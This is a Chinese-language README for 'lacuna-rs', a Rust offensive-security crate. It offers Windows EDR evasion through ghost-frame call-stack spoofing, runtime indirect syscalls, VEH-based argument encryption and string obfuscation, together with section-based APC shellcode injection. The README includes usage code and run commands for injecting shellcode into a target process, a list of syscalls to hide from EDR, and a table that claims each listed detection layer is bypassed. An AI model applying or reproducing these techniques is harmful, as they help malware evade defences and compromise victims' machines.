Ghost-frame 调用栈欺骗 + 运行时间接系统调用,适用于 Windows x64 — 移植到 Rust。
从 Mohamed Alzhrani (0xmaz) 的 LACUNA Chain (lacuna_chain.c) 移植而来。
lacuna-rs 是一个可复用的 Rust crate,提供与原始 C TTP 相同的原语,结构设计使其可以轻松嵌入任何 Rust 项目 —— 类似于 wsyscall-rs 或 syscalls-rs,但具备运行时 SSN 解析、每个函数的 syscall;ret 定位以及幽灵帧栈欺骗。
如果使用 crate 的项目未编译帧指针,
stack-spoof功能将静默失效。
chain.rs 中的栈覆盖原语通过 mov rbp, {x} 内联汇编定位调用者的返回地址槽。这要求 RBP 链保持完整。Rust(以及大多数发布模式编译器)默认省略帧指针。
build.rs 为该 crate 自身的代码生成设置了 force-frame-pointers=yes,但 Cargo 无法将编译器标志传播到下游 crate。 您必须在自己项目的配置中添加:
# .cargo/config.toml (在 YOUR crate 中,而非 lacuna-rs 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
没有这个设置,stomp_plant() 将从 RBP 读取垃圾数据,导致无操作(最好情况)或损坏栈(最坏情况)。该 crate 无法在运行时检测帧指针是否启用 —— 它只会不工作。
如果您只需要扫描、SSN 解析或注入原语(不需要栈欺骗),则可以省略 stack-spoof 功能,此要求不适用。
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
当没有启用任何特性时,仅提供扫描/PE/NT 层。
cargo run --example scan
cargo run --example verify --features stack-spoof
使用真实植入物的注入示例 - C2 离线但 Shellcode 已执行
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
添加 --verbose 以启用 VEH 诊断输出(栈转储、寄存器打印):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
inject_sapc 不是向目标进程中的每个线程都排队 APC(当过多线程同时被通知时可能导致进程崩溃),而是使用评分算法选择最佳的 MAX_APC_THREADS(5)个候选:
NtQueryInformationThread(ThreadCycleTime) — 主要活动指标NtQueryInformationThread(ThreadTimes) — 内核 + 用户时间NtQueryInformationThread(ThreadSuspendCount) — 未挂起线程获得 +300 奖励;每个挂起计数的线程获得 -150 惩罚NtQueryInformationThread(ThreadBasicInformation) — 优先级 8-10 的线程获得 +150 奖励;范围外的优先级获得 -100 惩罚完全空闲的线程(零周期和零 CPU 时间)将被跳过。剩余的候选者按分数排序(从高到低,平局时依据周期数),并截取前 5 个。
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// 扫描幽灵区域
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll 中有 {} 个幽灵区域", n);
// 解析特定函数的 SSN + syscall;ret
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// 解析 SSN + 函数自身的 syscall;ret 地址
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT 发射桩:mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (如果调用了 build_chain,则变为 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("桩分配失败");
// 转换为匹配的函数指针类型并调用
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// 扫描 ntdll/kernelbase/wow64/win32u 以获取幽灵区域并构建
// 六层假调用栈。设置 G_GHOST_GADGET,使桩通过已签名 DLL 中的 JMP [RBX] 路由。
lacuna::chain::build_chain();
// 注册 VEH 处理程序(参数加密 + 链保护)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 注册失败");
// 可选:在运行时启用详细诊断
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// 种植幽灵帧(用已签名 DLL 的幽灵替换返回地址)
lacuna::chain::stomp_plant();
// 在 syscall;ret 上装备 DR0 —— VEH 将在边界处 XOR 解密参数
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 通过间接桩调用 —— RIP 将位于 ntdll 的内核入口处
let _status = unsafe { open_proc(/* XOR 加密的参数 */) };
// 在任何非保护调用之前始终解除装备
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
并非每个 API 调用都需要完整的 LACUNA 处理。关键原则是:隐藏那些 EDR 会关联为注入或后利用活动痕迹的调用。
这些是 EDR 挂钩并关联的“皇冠上的明珠”NT 系统调用:
对于以上每个调用:
nt::resolve(ntdll, b"NtXxx\0") 解析stub::make_stub(ssn, syscall_ret) 发射桩veh::pcrypt_arm(key, syscall_ret, true) 对敏感参数进行 XOR 加密chain::stomp_plant() 和 chain::stomp_restore() 之间nt::resolve(ntdll, b"NtXxx\0") —— 返回 (SSN, syscall_ret_VA)。stub::make_stub(ssn, syscall_ret) —— 返回可调用的函数指针。extern "system" fn(...) 类型,使用 core::mem::transmute。chain::build_chain() 构建幽灵帧链,并在调用前后调用 chain::stomp_plant() / chain::stomp_restore()。veh::pcrypt_arm(key, syscall_ret, true) 装备参数加密,调用后使用 veh::pcrypt_disarm()。lc!() 包裹 —— crate 强制执行此规则,VEH 诊断受 set_verbose(true) 控制,默认关闭。桩自动处理 mov r10, rcx / mov eax, SSN / jmp [syscall;ret] 序列。如果注册了幽灵 gadget,桩将通过 JMP [RBX] 路由,实现双重用途的执行重定向 + 零痕迹桥帧。
来自 LACUNA Chain 技术文章 的 9 项关键贡献均在代码中体现:
syscalls-rs?syscalls-rs 和 wsyscall-rs 从特定 Windows 构建版本的 ntdll 生成构建时 SSN 表。如果目标机器运行不同的构建版本,SSN 将错误,系统调用失败(或触发 EDR 启发式规则)。
lacuna-rs 通过直接读取 ntdll 的桩在运行时解析 SSN,并定位到函数自身的 syscall;ret 指令,使得 RIP 位于 ntdll 的内核入口处 —— 从而绕过 EDR 的 "SSN 不匹配" 和 "来自未支持内存的间接系统调用" 启发式规则。
此外,lacuna-rs 提供了 syscalls-rs 不具备的幽灵帧栈欺骗链。
x86_64-pc-windows-msvc (或 x86_64-pc-windows-gnu)litcrypt2 (编译时字符串混淆)stack-spoof 需要)stack-spoof 特性需要帧指针。build.rs 会自动为此 crate 自身的代码生成设置 force-frame-pointers=yes,但消费 crate 也必须在其 .cargo/config.toml 中设置:
# .cargo/config.toml (在消费 crate 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
crate 和示例中所有字符串字面量均用 lc!() 宏包裹,这些宏在编译时加密字符串,运行时解密。加密密钥从 LITCRYPT_ENCRYPT_KEY 环境变量读取;如果未设置,litcrypt2 会自动生成随机密钥。
要固定密钥以获得可重现的构建:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # 为 stack-spoof 设置 force-frame-pointers
├── src/
│ ├── lib.rs # crate 根 + 重导出 + scan_all() + litcrypt2 设置
│ ├── win.rs # Win32/NT FFI 绑定 (no_std 兼容)
│ ├── pe.rs # PE 节 + 导出解析
│ ├── scan.rs # .pdata 幽灵区域 + gadget 扫描
│ ├── nt.rs # SSN 解析 + syscall;ret 定位
│ ├── stub.rs # JIT 间接系统调用桩发射
│ ├── veh.rs # VEH + 硬件断点参数加密
│ ├── chain.rs # LACUNA 幽灵帧链 + 覆盖
│ └── inject.rs # 基于节的 APC 注入
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc target
本项目得到 AI 聊天机器人的积极协助。我有机会测试一个更新、能力更强的开源模型(GLM-5.2 by Z.ai (Zhipu AI)),并希望给它一个有挑战性的任务。 经验教训:如果人类知道结果应该是什么样子,它工作得很好。否则……只有垃圾。
MIT
| 原语 | C 函数 | Rust 模块 |
|---|
| PE 节 + 导出解析 | pe_section(), pe_export() | pe |
.pdata 幽灵区域扫描 | scan_ghosts(), best_ghost() | scan |
幽灵 gadget 发现 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP-gap 查找器 | win32u_nop_gap() | scan |
| BYOUD-MF 锚点查找器 | find_mf_target() | scan |
| SSN 解析(Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
每个函数的 syscall;ret 定位器 | find_func_syscall() | nt |
| JIT 间接系统调用桩发射 | alloc_stub() | stub |
| 幽灵 gadget 桩重定向 | (位于 alloc_stub() 中) | stub |
| VEH + 硬件断点参数加密 | param_encrypt_veh(), pcrypt_arm() | veh |
| 链保护 VEH | chain_veh() | veh |
| LACUNA 链构建 | build_chain() | chain |
| 栈覆盖(BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| 链行走器(验证) | lacuna_walk_chain() | chain |
| 基于节的 APC 注入 | do_inject_sapc() | inject |
| 特性 | 描述 | 需要帧指针? |
|---|
syscalls (默认) | SSN 解析 + JIT 桩发射 | 否 |
inject (默认) | 基于节的 APC 注入 (inject::inject_sapc) | 否 |
veh | VEH + 硬件断点参数加密 | 否 |
stack-spoof | LACUNA 幽灵帧链 + 栈覆盖 | 是 |
no-std | no_std 模式(实验性) | 否 |
| 调用 | 为何敏感 |
|---|
NtOpenProcess | 打开另一个进程的句柄 —— 注入的第一步 |
NtCreateSection + NtMapViewOfSection (远程) | 基于节的注入签名 |
NtWriteVirtualMemory | 跨进程写入 —— 经典注入指示器 |
NtCreateThreadEx | 远程线程创建 —— 最高信号的注入原语 |
NtQueueApcThread | APC 注入 —— 高信号 |
NtProtectVirtualMemory | RWX 权限更改 —— shellcode 暂存指示器 |
NtAllocateVirtualMemory (远程) | 远程分配 —— 注入前奏 |
NtSetInformationThread | 线程隐藏 (HideFromDebugger) —— 逃避指示器 |
| 调用 | 为何安全 |
|---|
NtQueryInformationThread | 仅查询,很少被挂钩,无跨进程写入 |
NtDelayExecution | 休眠 —— 良性,每个应用程序都在使用 |
NtClose | 关闭句柄 —— 良性,极为常见 |
GetModuleHandleA / GetProcAddress | 模块解析 —— 不是系统调用,EDR 用户态挂钩无法挂钩 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | 线程枚举 —— kernel32,不是 ntdll 系统调用 |
OpenThread / CloseHandle | 标准句柄操作 —— kernel32 |
GetThreadContext / SetThreadContext | 需要用于 DR0 —— kernel32,仅自进程 |
| # | 文章概念 | 代码位置 | 描述 |
|---|
| 1 | BYOUD-Gap (零 .pdata 修改) | chain.rs —— 幽灵帧链构建 | 利用 RUNTIME_FUNCTION 条目之间的空隙;展开器将其视为叶帧 (RSP += 8) |
| 2 | ETW-Ti APC 窗口攻击 | inject.rs —— NtDelayExecution 可警报 drain | 通过操纵线程可警报状态控制 ETW-Ti APC 栈快照触发的时机 |
| 3 | BYOUD 上下文中的参数加密 | veh.rs —— pcrypt_arm(), param_encrypt_veh() | 在暂存阶段对系统调用参数进行 XOR 加密;在硬件断点 VEH 的 syscall 指令处解密 |
| 4 | Win32u NOP 间隙链 + 幽灵 gadget | scan.rs —— win32u_nop_gap(), scan_ghost_gadgets() | win32u.dll 中的 1,242 个 NOP 间隙提供白名单叶帧;ntdll+0xFC47B 处的 JMP [RBX] 幽灵 gadget |
| 5 | kernelbase 语义幽灵邻近性 | chain.rs —— L2_kbase 层,靠近 VirtualProtect | 以 VirtualProtect 入口点结束的 238 字节幽灵 —— 与真实 VP 返回地址无法区分 |
| 6 | BYOUD-MF (机器帧 RSP 传送) | chain.rs —— MachFrame 结构体,scan.rs —— find_mf_target() | 利用 KiUser* 调度器中的 UWOP_PUSH_MACHFRAME (操作码 10) 实现单个帧内的任意 RSP 传送 |
| 7 | BYOUD-RT (运行时 RSP 计算) | chain.rs —— teb_stack_base(), teb_stack_limit() | 在调用时读取 TEB.StackBase (GS:[0x08]) 以计算精确的帧距离 —— 无需预先校准 |
| 8 | wow64.dll 幽灵邻近性 | chain.rs —— L1_wow64 层,scan.rs —— 目标 Wow64PrepareForException | 以 Wow64PrepareForException 入口点结束的 91 字节幽灵 —— 链的第四语义层 |
| 9 | 六层 LACUNA 链 | chain.rs —— LacunaStack 结构体 (L1-L5 + MachFrame) | 完整链:KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| 检测层 | 状态 | 实现 |
|---|
| 来源模块检查 | 已绕过 | 所有帧均在 ntdll / kernelbase / wow64 / win32u 中 |
| 展开遍历正确性 | 已绕过 | 所有 lacuna 帧均为叶 -> 有效 RSP+8 |
.pdata 取证扫描 | 已绕过 | 零修改;利用的是预先存在的空隙 |
| CET 影子栈 | 已绕过 | 纯叶链;不查询影子栈 |
| 语义帧分析 | 已绕过 | WoW64 异常 + VirtualProtect 邻近性 |
| Win32u 规则豁免 | 已绕过 | 第 4 层被所有规则显式排除 |
| ETW-Ti STACKWALK | 已绕过 | APC 窗口攻击控制快照时机 |
| 参数检查 | 已绕过 | HW 断点 VEH 解密 |
| 内核回调 | 部分 | 句柄操作仍然触发 ObRegisterCallbacks |